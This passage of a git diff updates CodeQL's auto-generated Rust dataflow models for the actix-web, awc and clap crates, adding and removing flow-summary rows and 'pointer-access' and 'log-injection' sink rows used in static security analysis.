["repo:https://github.com/actix/actix-web:actix-web", "::bind_uds", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::client_shutdown", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::client_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::disable_signals", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::listen", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_auto_h2c", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_openssl", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls_0_21", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls_0_22", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls_0_23", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_uds", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::max_connection_rate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::max_connections", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -225,8 +241,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::worker_max_blocking_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::workers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::service::ServiceFactoryWrapper::factory].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::take_payload", "Argument[self].Field[crate::service::ServiceRequest::payload].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::take_payload", "Argument[self].Field[crate::service::ServiceRequest::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::error_response", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::service::ServiceRequest::req]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::service::ServiceRequest::payload]", "value", "dfc-generated"] @@ -373,13 +387,20 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/actix/actix-web:actix-web", "::ranked", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::negotiate", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::ranked", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::ranked", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new_strong", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new_weak", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::strong", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::weak", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_request_replace", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_response_replace", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::register", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::register", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml index 30828f012fa..89bb79bf279 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml @@ -5,9 +5,12 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/actix/actix-web:awc", "::add_default_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::connector]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::disable_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::disable_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::finish", "Argument[self].Field[crate::builder::ClientBuilder::timeout]", "ReturnValue.Field[crate::client::Client(0)].Field[crate::client::ClientConfig::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -29,18 +32,34 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::wrap", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::middleware].Field[crate::middleware::NestTransform::parent]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method].Reference", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::ws::WebsocketsRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::ws::WebsocketsRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::no_disconnect_timeout", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::open_tunnel", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::open_tunnel", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_request", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::connection::H2ConnectionInner::sender]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] @@ -88,21 +107,23 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::timeout]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service].Reference", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Io(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Resolver(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Http(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(1)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(1)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Http(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::pool::ConnectionPool::connector]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[crate::client::pool::ConnectionPoolInner(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::pool::Key::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::pool::test::TestPoolConnector::generated].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::into_client_response", "Argument[self].Field[crate::connect::ConnectResponse::Client(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(0)]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(1)]", "ReturnValue.Field[1]", "value", "dfc-generated"] @@ -167,18 +188,16 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::read_body::ReadBody::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::read_body::ReadBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self].Field[crate::responses::response::ClientResponse::head].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::take_payload", "Argument[self].Field[crate::responses::response::ClientResponse::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "Argument[self].Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::body", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[crate::responses::response::ClientResponse::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::json", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::map_body", "Argument[0].ReturnValue", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] @@ -186,7 +205,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] @@ -223,4 +241,25 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[2]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "crate::client::h2proto::send_request", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml index f6539d8bde1..154e6912173 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml @@ -8,10 +8,17 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap", "::augment_args_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/clap-rs/clap:clap", "::from_arg_matches", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::from_arg_matches_mut", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::update_from_arg_matches", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::update_from_arg_matches_mut", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::from_matches", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml index 8daf130e9ea..0e9975300bd 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml @@ -4,6 +4,7 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[crate::Args(1)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_bench", "::name", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml index a26bc4c1a0b..c58ac26b4fe 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml @@ -4,11 +4,13 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::AnyValueParser>::clone_any", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::TypedValueParser>::parse_ref", 